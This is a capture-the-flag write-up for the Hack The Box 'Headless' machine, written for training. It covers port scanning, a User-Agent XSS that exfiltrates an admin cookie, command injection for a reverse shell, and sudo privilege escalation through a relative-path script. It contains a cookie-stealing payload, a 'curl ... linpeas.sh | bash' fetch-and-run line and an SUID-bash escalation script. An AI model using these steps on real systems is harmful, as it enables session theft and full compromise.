Headless
2024-03-24
INTRODUCTION
The penultimate box of HTB’s Season IV Savage Lands, released for week 12, is Headless. While I haven’t really been participating in the season, this is one of the few boxes that I attempted within the 1 week limit. It was totally worth it! This box is an absolute delight, and I can’t recommend it enough. There aren’t any rabbit-holes on this one, and most of the effort will simply be to gain a foothold. It’s a quick box that reinforces some good hacking fundamentals.
Gaining a foothold on this box requires a little bit of out-of-the-box thinking. Putting yourself in the seat of an actual attacker, you’ll find a portion of the website that can be abused to gain a foothold via cross-site scripting. The really fun thing is that the box created scripted up an automated “administrator” that acts as a human might - so you can finally try some XSS on an HTB target! After finding a way into an admin dashboard, some easy command injection will grant you access.
The user flag is available on initial access to the target. At this point, be sure to open up an SSH connection, or you might miss something important! That being said, even if you miss this important thing, some simple enumeration of the user will point you in the right direction. Privesc to root is apparent after just a little bit of code reading. Exploiting the privesc vulnerability is trivial once the vulnerability is identified. Best of luck on this one!
RECON
nmap scans
Port scan
For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to the target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Oh, interesting! Only SSH and UPnP… It truly is headless 😀
Script scan
To investigate a little further, I ran a script scan over the TCP ports I just found:
TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sat, 23 Mar 2024 21:01:25 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
However, the data that we got from the default scripts scan of the UPnP port 5000 appears to be HTML. I might try connecting to it with nc
or even requesting http from it. I can see that it is using Python 3.11.2
and Werkzeug 2.2.2
, so it’s clearly an http server (I’m fairly certain that’s all that Werkzeug is for).
That Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
header also seems interesting.
While the rest of my nmap scans were running, I tried connecting to that port using http, and got a website:
I also took a quick look at the page source code: it looks completely secure. The only thing of note is the link to the /support
page.
Vuln scan
Now that we know what services might be running, I’ll do a vulnerability scan:
sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR
No results.
UDP scan
To be thorough, I also did a scan over the common UDP ports:
sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
☝️ UDP scans take quite a bit longer, so I limit it to only common ports
Not shown: 86 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
19/udp open|filtered tcpwrapped
68/udp open|filtered tcpwrapped
88/udp open|filtered kerberos-sec
111/udp open|filtered rpcbind
120/udp open|filtered tcpwrapped
135/udp open|filtered msrpc
520/udp open|filtered route
631/udp open|filtered tcpwrapped
1023/udp open|filtered tcpwrapped
1025/udp open|filtered blackjack
1701/udp open|filtered L2TP
2223/udp open|filtered tcpwrapped
5353/udp open|filtered zeroconf
49201/udp open|filtered unknown
Note that any
open|filtered
ports are either open or (much more likely) filtered.
Webserver Strategy
Noting the redirect from the nmap scan, I added download.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=headless.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
I’m quite curious about that cookie. It looks like base64 - let’s decode it:
Ok, so the first part decodes to “user”. I’ll try assuming the .
is a separator between a key and a variable, and just decode everything after the .
:
Hmm, nope.
I’ll move on to directory enumeration on http://headless.htb:5000:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:5000/FUZZ -t 80 --recursion --recursion-depth 2 -c -o ffuf-directories-root -of json -e js,html -timeout 4 -v
Directory enumeration against http://[domain].htb/ gave the following:
However, when including the provided cookie, that 500 status for /dashboard
changes to a 401 Unauthorized. Maybe all I need to do is brute-force the cookie? I’ll come back to this approach later 🚩
The cookie clearly encodes a username. Perhaps I just need to put a username for an admin in there?
To check what other methods might be available for dashboard, I fuzzed the http verb:
WLIST=/usr/share/seclists/Fuzzing/http-request-methods.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:5000/dashboard -t 80 -c -o ffuf-directories-root -of json -e js,html -timeout 4 -v -b 'is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs' -X FUZZ -fc 405
Ok, that’s not too surprising.
Exploring the Website
After clicking the For Questions button from the index page, I was brought to the /support
page, where there is a short form. Checking out the source code, it looks like the form actually does something; it POSTs to /support
:
But when I Submit
that form, nothing really happens. Interestingly, when I submit the form with the same contents, except with suffizing the message with a hundred or so copies of <>?!@#$%^&*()
{}, I get something new:
😂 I wonder what part of that it didn’t like. I tried decomposing it a little bit, and it seems that the part flagging me as “hacking” driven by a regex that denies matching pairs of angle brackets <...>
or double curly braces {{...}}
.
But maybe I can use this. “User-controllable values being reflected to the page”? That makes me think of XSS and SSTI. Let’s explore those next 🚩 But first, I’ll quickly check for sql injection.
FOOTHOLD
SQL Injection
🚫 This is not the correct path. Skip to the next section if you’re short on time.
Just to “check all the boxes”, let’s test this form for an SQL injection. I filled out the Contact Support form as shown above and proxied the form submission through Burp. Then, I saved the request to support.req
:
Now I’ll hand that request to sqlmap
and let it do it’s thing:
sqlmap -r support.req --batch
SSTI
The initial reaction may be to seek some kind of bypass for the “Hacking Attempt Detected” check. That would entail figuring out a way to bypass whatever regex of WAF is blocking the angle brackets <...>
or double curly braces {{...}}
.
But actually, we don’t want to bypass it at all! The user-controlled parameters are reflected to the page when we get caught. So actually, I should intentionally have my hacking attempts detected, but sneak a payload into a user-controlled parameter 🙂
I’ll try planting all kinds of SSTIs inside the cookie:
WLIST=/usr/share/seclists/Fuzzing/template-engines-expression.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN:5000/support \
-d 'fname=Jim&lname=Bob&email=jimbob%40fake.htb&phone=789-555-0123&message=This+is+my+message<>' \
-X POST -H "Content-Type: application/x-www-form-urlencoded" \
-b 'is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_ZfsFUZZ' \
-t 80 -c -timeout 4 -v -mr 'fs1764'
No results from that. I also tried manually, assuming that Jinja2 is in use - just to see if any parameters other than the cookie might be vulnerable:
No result from that, or any tests similar to the above request.
XSS
Let’s consider the Hacking Attempt Detected message for a second:
Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.
Oh, so an administrator might be reading the output of this? Sounds like a great opportunity for XSS. Let’s craft a payload. First, examine where the text gets reflected:
<pre>
<strong>Method:</strong> POST<br>
<strong>URL:</strong> http://10.10.11.8:5000/support<br>
<strong>Headers:</strong> <strong>Host:</strong> 10.10.11.8:5000<br>
<strong>User-Agent:</strong> Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0<br>
<strong>Accept:</strong> text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br>
<strong>Accept-Language:</strong> en-US,en;q=0.5<br>
<strong>Accept-Encoding:</strong> gzip, deflate, br<br>
<strong>Content-Type:</strong> application/x-www-form-urlencoded<br>
<strong>Content-Length:</strong> 91<br>
<strong>Origin:</strong> http://10.10.11.8:5000<br>
<strong>Dnt:</strong> 1<br>
<strong>Connection:</strong> close<br>
<strong>Referer:</strong> http://10.10.11.8:5000/support<br>
<strong>Cookie:</strong> is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs<br>
<strong>Upgrade-Insecure-Requests:</strong> 1<br><strong>Sec-Gpc:</strong> 1<br>
<br>
</pre>
Most of these fields are user-controllable, but the ones with least restriction to them are inevitably the cookie and the user-agent. Since the user-agent can be literally anything, let’s play with that first.
The reflected text’s only parent is the <pre>
node, so I should be able to just introduce a new element.
Also, for successful XSS we’ll need something to catch the data exfiltrated. For this, I’ll use a simple python webserver:
sudo ufw allow from $RADDR to any port 8000 proto tcp
python3 -m http.server 8000
Now, let’s send a simple “redirect” XSS to the target, using the User-Agent
header:
To my delight, after a few seconds of waiting, the “administrator” took a peek, and was redirected!
Fantastic, so we now have the administrator’s cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
I’ll try navigating to the /dashboard
page and swap out the cookie for this one:
This worked perfectly!
I’ll copy the cookie into my browser so I don’t have to keep proxying it.
Aside: XSS local testing
I’ll admit… I’m horrendously bad at XSS right now. To be honest, I’ve only used it once or twice. To get the stuff from the previous section to work, I had to test it locally first. This was my test environment:
- Python http.server running locally, awaiting connections from the target
- An
html
file containing my XSS payload.
I would then load the html
file in my browser, and check the http.server to see if it had a hit.
The html file was as follows. Note that I was testing the XSS in two places - the <script>
at the bottom, and the <span>
reflecting the user agent:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>XSS Test Page</title>
<script>
function setCookie(name, value) {
var date = new Date();
date.setTime(date.getTime() + (365 * 24 * 60 * 60 * 1000));
var expires = "; expires=" + date.toUTCString();
document.cookie = name + "=" + (value || "") + expires + "; path=/";
}
window.onload = function() {
setCookie("is_admin", "yougotme...yay!");
document.getElementById('userAgent').innerText = navigator.userAgent;
};
</script>
</head>
<body>
<main>
<h1>Welcome to My Website</h1>
<ul><li>
<h3>XSS via user agent test</h3>
<p class="note-text">User Agent: <span id="userAgent"></span></p>
</li></ul>
</main>
<script>document.location="http://127.0.0.1:8000/hello?c="+document.cookie;</script>
</body>
USER FLAG
Gaining RCE
Now that we’ve found a way into the /dashboard
, let’s figure out how to turn this into RCE - or if it’s possible. Let’s examine the request that occurs when we click Generate Report:
Interesting. That’s a format that pretty much anything could use. If we’re extra lucky, it’s just getting interpreted by the shell, probably to write to some kind of log file or be part of a filename using the date
function.
Just in case, I’ll start up a reverse shell listener:
sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
socat -d TCP_LISTEN:4444 STDOUT
Now let’s try sending a really simple reverse shell payload. I’ll URL-encode the highlighted bit below:
Wow - this must be my lucky day!
If I’m not mistaken,
dvir
is the name of the box creator.
Fantastic. Let’s search for the user flag:
It’s in the home directory, so just cat
it for the points 🎉
cat /home/dvir/user.txt
SSH Connection
To get a little more comfortable, I’ll switch to SSH.
# On the attacker machine:
ssh-keygen -t rsa -b 4096 # used passphrase p1geon
chmod 700 ./id_rsa
base64 -w 0 id_rsa.pub | tee id_rsa.pub64
# On the target machine:
echo 'c3NoLXJ....bGkK' | base64 -d >> ~/.ssh/authorized_keys
# On attacker machine:
ssh -i ./id_rsa dvir@$RADDR
Hmm, looks like I have some mail waiting for me:
ROOT FLAG
Checking the mail
Mail should be in /var/mail/$USER
:
cat /var/mail/dvir
Subject: Important Update: New System Check Script
Hello!
We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.
Rest assured, this script is at your disposal and won't affect your regular use of the system.
If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless
To find this rapidly, I checked using linpeas
:
curl -s http://10.10.14.19:8000/linpeas.sh | bash
Found it without too much trouble. This must be what the email was referring to:
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
I’ll try running it:
Maybe I can read it and see what it’s up to:
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
😂 Ok, I see the vulnerable line. It’s the call to ./initdb.sh 2>/dev/null
. This line uses only a relative path, yet I can run this script from anywhere. I’ll just cook up a script to copy over an SUID bash, saving it as make_suid_bash.sh
:
#!/bin/bash
cp /usr/bin/bash /tmp/.Tools/bash
chmod u+s /tmp/.Tools/bash
Now I’ll download it onto the target and call it initdb.sh
:
mkdir -p /tmp/.Tools
curl -o initdb.sh http://10.10.14.19:8000/make_suid_bash.sh
chmod +x initdb.sh
Everything is in place now - I just need to run it:
There’s the SUID bash! Run it with -p
to gain a root shell:
😉 That’s all. Just cat
the root flag to finish off the box:
cat /root/root.txt
LESSONS LEARNED
Attacker
Test locally as much as you want. This box was a great refresher in some basic XSS techniques for me. It’s not something I do often, so the practice was welcome. As such, I had to scrap together a quick test system to try to perform XSS on a site made to mimic the target. No shame in that - all practice is good.
Start an SSH connection even if you don’t strictly need to. On this box, logging in via SSH prompted us to check our mail. This is one tiny benefit of using SSH. Another benefit is that, if SSHd is already running on the target, it’s a lot more stealthy to connect to a port explicitly granting access, instead of some ludicrous-looking shell being passed through TCP port 4444! 😂
Defender
Exceptional cases matter just as much as the “normal” operation of a system, when considering security. While the administrators had cleverly included mechanisms to catch XSS and SSTI attempts, they introduced the very vulnerability they were trying to patch by displaying the exceptional case to the user.
Know what code is trusted, and what is not. Think of all of the code that can be ran as root by a low-privilege user as being functionally the same as code that can only be ran by root. On this box, privesc to root was easy because there was some code being ran from a sudo-able script, where that code was user-editable! Anything that can be ran by root should be in
/usr/sbin
or something similarly locked-down. Mind your permissions, please!
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake